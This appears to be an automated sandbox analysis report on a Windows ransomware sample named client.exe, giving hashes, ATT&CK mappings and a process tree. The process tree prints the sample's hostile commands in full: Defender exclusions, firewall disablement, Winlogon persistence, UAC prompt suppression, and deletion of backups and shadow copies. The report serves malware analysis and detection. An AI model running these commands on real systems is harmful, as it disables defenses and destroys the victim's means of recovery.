7e74a48ebaf713b7ecc828938a114bf32a9d3383aa51df88434b5a04a7f7915f

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 18:24

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General

Target
client.exe
Size 17.8MB
Sample260819-w15prsha35
SHA256 7e74a48ebaf713b7ecc828938a114bf32a9d3383aa51df88434b5a04a7f7915f
MD5 ae2102521c9ee919a914bdcf93caa94a
SHA1 4ebc8a02065eb06ef66d851727747f8cfaeb5aa0
SHA512 2b278ceb25fdf28ecc05138ff0b5152de589dd6d80dd06e6efa84d68cea25b50e7c787a35d75ce5fe53b46b5843537e9fa0c4fd05da5a1f084cd3adac5de1b7f
SSDEEP 196608:wrTP+eIOIvKRBVRB0EW8QkkplzPApX+1z/iMR052fM1fICRcyXo:qTP+eI1q1kfPAR+1z/hR052EJp74
TLSH
T15717BE45F2A252E8D667C074C166AA17FB7438BE03502AFB9AD099746F37BD06D3B301
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\client.exe"	client.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	client.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1320	powershell.exe
732	powershell.exe
1320	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2064	wbadmin.exe
1220	wbadmin.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2868	netsh.exe
2744	netsh.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
252	cmd.exe
4380	cmd.exe
1324	cmd.exe
2752	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3404	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
1320	powershell.exe
1320	powershell.exe
732	powershell.exe
732	powershell.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe
724	client.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeIncreaseQuotaPrivilege	1320	powershell.exe
Token: SeSecurityPrivilege	1320	powershell.exe
Token: SeTakeOwnershipPrivilege	1320	powershell.exe
Token: SeLoadDriverPrivilege	1320	powershell.exe
Token: SeSystemProfilePrivilege	1320	powershell.exe
Token: SeSystemtimePrivilege	1320	powershell.exe
Token: SeProfSingleProcessPrivilege	1320	powershell.exe
Token: SeIncBasePriorityPrivilege	1320	powershell.exe
Token: SeCreatePagefilePrivilege	1320	powershell.exe
Token: SeBackupPrivilege	1320	powershell.exe
Token: SeRestorePrivilege	1320	powershell.exe
Token: SeShutdownPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeSystemEnvironmentPrivilege	1320	powershell.exe
Token: SeRemoteShutdownPrivilege	1320	powershell.exe
Token: SeUndockPrivilege	1320	powershell.exe
Token: SeManageVolumePrivilege	1320	powershell.exe
Token: 33	1320	powershell.exe
Token: 34	1320	powershell.exe
Token: 35	1320	powershell.exe
Token: 36	1320	powershell.exe
Token: SeIncreaseQuotaPrivilege	1320	powershell.exe
Token: SeSecurityPrivilege	1320	powershell.exe
Token: SeTakeOwnershipPrivilege	1320	powershell.exe
Token: SeLoadDriverPrivilege	1320	powershell.exe
Token: SeSystemProfilePrivilege	1320	powershell.exe
Token: SeSystemtimePrivilege	1320	powershell.exe
Token: SeProfSingleProcessPrivilege	1320	powershell.exe
Token: SeIncBasePriorityPrivilege	1320	powershell.exe
Token: SeCreatePagefilePrivilege	1320	powershell.exe
Token: SeBackupPrivilege	1320	powershell.exe
Token: SeRestorePrivilege	1320	powershell.exe
Token: SeShutdownPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeSystemEnvironmentPrivilege	1320	powershell.exe
Token: SeRemoteShutdownPrivilege	1320	powershell.exe
Token: SeUndockPrivilege	1320	powershell.exe
Token: SeManageVolumePrivilege	1320	powershell.exe
Token: 33	1320	powershell.exe
Token: 34	1320	powershell.exe
Token: 35	1320	powershell.exe
Token: 36	1320	powershell.exe
Token: SeDebugPrivilege	732	powershell.exe
Token: SeSystemEnvironmentPrivilege	2404	svchost.exe
Token: SeBackupPrivilege	3572	vssvc.exe
Token: SeRestorePrivilege	3572	vssvc.exe
Token: SeAuditPrivilege	3572	vssvc.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 724 wrote to memory of 1320	724	client.exe	89
PID 724 wrote to memory of 2868	724	client.exe	92
PID 724 wrote to memory of 2744	724	client.exe	95
PID 724 wrote to memory of 732	724	client.exe	97
PID 732 wrote to memory of 252	732	powershell.exe	101
PID 252 wrote to memory of 4100	252	cmd.exe	103
PID 732 wrote to memory of 4380	732	powershell.exe	105
PID 4380 wrote to memory of 2064	4380	cmd.exe	107
PID 732 wrote to memory of 1324	732	powershell.exe	108
PID 1324 wrote to memory of 1220	1324	cmd.exe	110
PID 732 wrote to memory of 2752	732	powershell.exe	111
PID 2752 wrote to memory of 3404	2752	cmd.exe	113

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	client.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\client.exe
"C:\Users\Admin\AppData\Local\Temp\client.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2868
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\client.exe" enable=yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:732
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:4100
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4380
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete backup -backupTarget:C: -allVersions -quiet
      4⤵
      Deletes system backups
      Drops file in Windows directory
      PID:2064
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete backup -backupTarget:D: -allVersions -quiet
      4⤵
      Deletes system backups
      Drops file in Windows directory
      PID:1220
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2404

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 63dfa0c027d61ef9e0da6a49f92032354f5ebd8a376a25a06ae33387b58ebc4f
MD5 26eaaa9440badd89b81c28fdf91936d4
SHA1 d0fa63d697318804a0204b4473d7ded5dc08c1c5
SHA512 db424d3d52b96ac20b4501a4064ecd6cdf152e295977e7b05f2b13ae89fe16fd81063040f450feba92fc1649a2d96c322ea7dbe576d73c6ef860b4765ef9ecda
TLSH
T12F217633B3CC8660C89A013A10CEAC1036BB87DB409ECEAB6B84D559A42F699CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ofzyjyj0.v3w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ofzyjyj0.v3w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1320-10-0x000002BAA49E0000-0x000002BAA4A92000-memory.dmp

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memory/1320-3-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

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memory/1320-6-0x000002BAA4540000-0x000002BAA4562000-memory.dmp

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memory/1320-9-0x000002BAA4570000-0x000002BAA458E000-memory.dmp

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memory/1320-0-0x00007FFD8D74F000-0x00007FFD8D750000-memory.dmp

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memory/1320-11-0x000002BAA4530000-0x000002BAA453A000-memory.dmp

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memory/1320-12-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

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memory/1320-14-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

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memory/1320-2-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

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memory/1320-1-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

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memory/1320-23-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

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